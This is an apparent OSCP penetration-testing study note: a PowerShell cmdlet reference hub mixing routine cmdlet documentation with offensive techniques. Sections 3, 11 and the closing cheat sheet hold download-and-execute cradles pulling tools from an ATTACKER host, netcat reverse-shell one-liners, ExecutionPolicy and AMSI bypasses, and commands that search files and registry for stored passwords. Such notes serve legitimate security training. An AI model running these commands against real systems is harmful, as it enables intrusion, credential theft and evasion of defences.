PowerShell Cmdlets — Reference Hub

External: Internal All The Things — PowerShell Cheatsheet

Overview

PowerShell cmdlets follow Verb-Noun naming (Get-Process, Set-Content). This hub covers OSCP-relevant cmdlets, common parameters that apply to almost all cmdlets, and links to specialized notes.

Discover everything installed: Get-Command lists thousands of cmdlets — you cannot memorize all. Learn patterns + this cheat sheet.

Get-Command                          # All cmdlets
Get-Command -Name *AD*               # AD module
Get-Command -Verb Get                # All Get-* cmdlets
Get-Command -Noun Process            # *-Process
Get-Help Get-Process -Full           # Full help + parameters
Get-Help Get-Process -Parameter Name # Specific parameter
Update-Help                          # Download help (online)

Specialized notes: gci · Active Directory Cmdlets · PowerView · net user


📌 1) Common Parameters (All Cmdlets)

These work on most cmdlets:

ParameterAliasDescription
-Verbose-vbExtra detail
-Debug-dbDebug stream
-ErrorAction-eaSilentlyContinue, Stop, Continue, Inquire
-ErrorVariable-evStore errors in variable
-WarningAction-waSame as ErrorAction for warnings
-InformationAction-iaControl info messages
-OutVariable-ovSave output to variable
-PipelineVariable-pvMid-pipeline variable
-WhatIf-wiSimulate only
-Confirm-cfPrompt before action
Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue
Get-Process -Name lsass -ErrorAction Stop

📌 2) File & Directory

CmdletAliasPurpose
Get-ChildItemgci, ls, dirList files — see gci
Get-Contentgc, cat, typeRead file
Set-ContentscWrite text to file
Add-ContentacAppend to file
Copy-Itemcpi, copyCopy
Move-Itemmi, moveMove/rename
Remove-Itemri, rm, delDelete
New-ItemniCreate file/folder
Test-PathPath exists?
Resolve-PathResolve wildcards
Select-StringslsGrep files for pattern
Get-ChildItem C:\Users -Recurse -Force -Include *.config,*.xml -ErrorAction SilentlyContinue
Get-Content C:\Windows\Panther\Unattend.xml
Get-ChildItem C:\ -Recurse -Include *.txt,*.ps1 -EA 0 | Select-String -Pattern "password"
Test-Path C:\Windows\Temp\shell.exe
Copy-Item \\ATTACKER\share\tool.exe C:\Temp\

📌 3) Download / Upload (File Transfer)

MethodCommand
WebClient(New-Object Net.WebClient).DownloadFile('http://IP/file','C:\Temp\file')
WebClient string(New-Object Net.WebClient).DownloadString('http://IP/script.ps1')
Invoke-WebRequestInvoke-WebRequest -Uri 'http://IP/file' -OutFile 'C:\Temp\file'
IWR shortiwr http://IP/file -OutFile C:\Temp\file
BITSStart-BitsTransfer -Source http://IP/file -Destination C:\Temp\file
certutilSee certutil
# WinPEAS / tool download (common OSCP)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://ATTACKER:8080/winPEASx64.exe', 'C:\Temp\winPEAS.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://ATTACKER:8080/winPEASx64.exe' -OutFile 'C:\Temp\winPEAS.exe'"
powershell -c "IWR http://ATTACKER:8080/winPEASx64.exe -OutFile C:\Temp\winPEAS.exe"
 
# In-memory execution
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')
IEX (IWR -Uri 'http://ATTACKER/script.ps1' -UseBasicParsing).Content

See File Transfer, Privesc Tools.

Invoke-WebRequest common flags

ParameterDescription
-UriURL
-OutFileSave to path
-MethodGET, POST, PUT, DELETE
-Headers @{}Hashtable of headers
-BodyPOST body
-CredentialPSCredential
-UseBasicParsingNo IE dependency (Server Core)
-SkipCertificateCheckIgnore SSL (PS 7+)
-ProxyProxy URL
-UserAgentCustom UA

📌 4) Process & Service

CmdletPurpose
Get-ProcessRunning processes
Stop-ProcessKill process
Start-ProcessRun program
Get-ServiceServices
Start-Service / Stop-ServiceControl services
Get-WmiObject Win32_ProcessWMI process list
Get-CimInstance Win32_ProcessCIM (newer)
Get-Process
Get-Process | Where-Object {$_.ProcessName -like "*sql*"}
Get-Process lsass | Select-Object Id, ProcessName
Get-Service | Where-Object {$_.Status -eq 'Running'}
Start-Process -FilePath C:\Temp\winPEAS.exe -Wait -NoNewWindow

tasklist and Get-Process · LSASS


📌 5) User, Group & Computer (Local)

CmdletPurpose
Get-LocalUserLocal accounts
Get-LocalGroupLocal groups
Get-LocalGroupMemberGroup members
New-LocalUserCreate local user
Add-LocalGroupMemberAdd to local group
Get-LocalUser
Get-LocalGroupMember -Group Administrators

Domain: use net user or Active Directory Cmdlets.


📌 6) Network

CmdletPurpose
Test-NetConnectionPing + port test (Test-Connection)
Get-NetIPAddressIP config
Get-NetRouteRouting table
Get-NetTCPConnectionListening connections (like netstat)
Resolve-DnsNameDNS lookup
Test-NetConnection 10.10.10.10 -Port 445
Get-NetTCPConnection -State Listen
Get-NetIPAddress | Where-Object {$_.AddressFamily -eq 'IPv4'}
Resolve-DnsName dc.corp.local

📌 7) Registry

CmdletPurpose
Get-ItemPropertyRead registry values
Get-ItemRegistry key / file / cert object
Set-ItemPropertyWrite registry
New-ItemCreate key
Remove-ItemDelete key/value
Get-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\ADSync'   # Service key object
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer'  # AlwaysInstallElevated

More one-off registry/service snippets → PowerShell Snippets (e.g. AD Sync - service and miiserver enum)

External cmdlet wiki → PowerShell Snippets > 📌 External references (detailed Windows / PowerShell wikis) · SS64 PowerShell


📌 8) Credential & Security

CmdletPurpose
Get-CredentialPrompt for creds → PSCredential
ConvertTo-SecureStringPlain → SecureString
ConvertFrom-SecureStringSecureString export
[System.Security.Principal.WindowsIdentity]::GetCurrent()Current user identity
whoami /allStill works in PS
$cred = Get-Credential
Get-ADUser -Filter * -Server DC01 -Credential $cred

📌 9) Object Manipulation (Pipeline)

CmdletPurpose
Select-ObjectPick columns — Select Name, Length
Where-ObjectFilter — Where {$_.Length -gt 1MB}
Sort-ObjectSort
Group-ObjectGroup
Measure-ObjectCount/sum
ForEach-Object% — loop
Export-CsvExport CSV
ConvertTo-JsonJSON output
Out-FileWrite to file
Tee-ObjectOutput + save
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Get-ChildItem C:\ -Recurse -EA 0 | Where-Object {$_.Extension -eq '.config'}

📌 10) Active Directory (Domain)

Full reference → Active Directory Cmdlets

Quick list:

CmdletPurpose
Get-ADUserDomain users
Get-ADComputerDomain computers
Get-ADGroupGroups
Get-ADGroupMemberGroup membership
Get-ADDomainDomain info
Get-ADForestForest info
Get-ADTrustTrusts

Offensive alternative → PowerView


📌 11) Execution & Bypass

TopicNotes
-ExecutionPolicy BypassRun scripts when policy is Restricted — use on every unfamiliar box
-EncodedCommand / -encBase64 encoded command
-WindowStyle HiddenHidden window
-Command / -cSingle command — run cmd.exe via nc, one-liners
Bypass-4MSIevil-winrm AMSI bypass
Import-ModuleLoad .ps1 module
. .\script.ps1Dot-source script

ExecutionPolicy Bypass

powershell -ExecutionPolicy Bypass
powershell -ExecutionPolicy Bypass -File C:\Temp\script.ps1
powershell -ExecutionPolicy Bypass -Command "whoami"
powershell -ep bypass -File script.ps1    # short form

Use when running downloaded .ps1 tools, WinPEAS, or in evil-winrm sessions.

Run cmd.exe from PowerShell (reverse shell / scheduled task)

Launch cmd as the child process — common for nc.exe -e cmd when raw cmd quoting breaks:

powershell -ExecutionPolicy Bypass -c "C:/Windows/Temp/nc.exe 192.168.45.236 80 -e cmd"
# PowerShell-native equivalent
powershell -ep bypass -c "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

Quoted for schtasks / cron / XML (outer single quotes, inner double):

'powershell -c "C:/Windows/Temp/nc.exe 192.168.45.236 80 -e cmd"'

Forward slashes in path often work in PowerShell: C:/Windows/Temp/nc.exe

Shell · Netcat · powercat · schtasks

powershell -ExecutionPolicy Bypass -File script.ps1
powershell -enc BASE64CMD

See evil-winrm, Windows PrivEsc.


📌 12) How to Learn Any Cmdlet

Get-Command *keyword*
Get-Help Verb-Noun -Full
Get-Help Verb-Noun -Examples
Get-Help Verb-Noun -Parameter Filter

Online: Get-Help shows syntax; Microsoft docs for edge cases.


📌 Quick Cheat Sheet

# Enum
Get-ChildItem -Force -Recurse -EA 0
Get-Process | Sort CPU -Desc | Select -First 10
Get-Service | ? Status -eq Running
Get-LocalGroupMember Administrators
Get-NetTCPConnection -State Listen
Select-String -Path *.config -Pattern password -Recurse
 
# Download tool
IWR http://ATTACKER:8080/winPEASx64.exe -OutFile C:\Temp\w.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/tool.exe','C:\Temp\tool.exe')
 
# AD (domain-joined)
Import-Module ActiveDirectory
Get-ADUser -Filter * | Select SamAccountName
Get-ADGroupMember "Domain Admins"